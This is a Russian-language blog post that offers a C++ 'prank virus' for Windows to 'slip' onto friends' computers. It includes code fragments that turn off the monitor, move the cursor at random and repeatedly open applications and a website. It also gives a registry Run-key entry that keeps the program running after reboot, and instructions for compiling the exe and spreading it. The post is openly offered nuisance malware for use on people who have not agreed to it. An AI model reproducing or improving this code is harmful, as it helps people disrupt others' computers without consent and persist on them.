Это всё сломает
Привет!
Перед Новым Годом самое время над кем-нибудь поиздеваться, не так ли? =)
//
Сегодня покажу тебе штуку, которая хорошенько порадует всех твоих друзей, которым сможешь её подсунуть.
Итак, наша программка с горем пополам написана на плюсах (они же C++)
Как всегда, я тебе тут не просто в уши заливаю непонятно что, а даю материал, который ты самостоятельно можешь использовать, где вздумается (но лучше не надо:D)
Частично я на себе эту штуку проверил - такое себе =)
Перейдём к сути.
Вот ссылка на отдельный пост в Телеграфе, где можно рассмотреть код:
Код 'вируса'
ВНИМАНИЕ!
Я не несу никакой ответственности за последствия запуска данной программы.
Скорее всего кому-то будет больно и всё сломается. Поэтому лучше вообще нигде её не запускай.
Что оно делает?
По факту это не вирус в привычном представлении. Но эта штука ОЧЕНЬ РАЗДРАЖАЕТ И НАПРЯГАЕТ.
На самом деле, это какая-то сборная солянка.
Творит с девайсом то одну, то другую дичь!
Что за дичь? Читаем ниже!
Итак, чуть-чуть разберём функционал.
Выключение монитора:
void Hibernation()
{
Sleep(1000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
}
Дёрганый курсор:
Генерируем рандомные координаты, по которым будет скакать курсор.
void CrazyMouse()
{
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y );
}
Открывает всякие приложения:
void OpenStuff()
{
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXI MIZE);
ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_ MAXIMIZE);
ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIM IZE);
ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXI MIZE);
}
Программа будет запускаться даже после перезагрузки:
По идее должно как-то так и работать. Лично не пробовал, при тесте сносил это на фиг, чтобы потом не терять время на устранение возможных последствий.
А вообще, если это работает, то очевидно, что и перезагрузкой не отделаешься.
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Mcft\\W indows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
Повторюсь: если уж будешь извращаться и запускать, она даже, возможно, заработать сможет как надо =) Пеняй всё на себя.
Как использовать?
Итак, если ты знаешь, что делать с кодом, можешь сворачивать статью =)
Если нет - рассказываю.
Качаем какую-нибудь среду разработки. Например, Dev-CPP или вижуал студио.
Для тех, кто просто хочет поиздеваться над кем-нибудь только с этим примером, качайте Dev-CPP, поставите, удалите, забудете.
Кто самостоятельно хочет со все этим дополнительно повозиться, вооружайтесь лучше Гуглом и Visual Studio.
В Dev-CPP просто создаёшь новый файл, копируешь туда код, сохраняешь с расширением .cpp и компилируешь. (!!!Просто компилируешь, не запуская у себя на ПК. Вроде F9 - горячая клавиша. Но стоит удостовериться лично =) )
Тогда у тебя появляется exe'шник, который по сути можно уже распространять. Если не будет работать, можно на нужном компьютере опять же собрать всё это в Dev-CPP.
А если ударишься в Visual Studio, читай гугл =)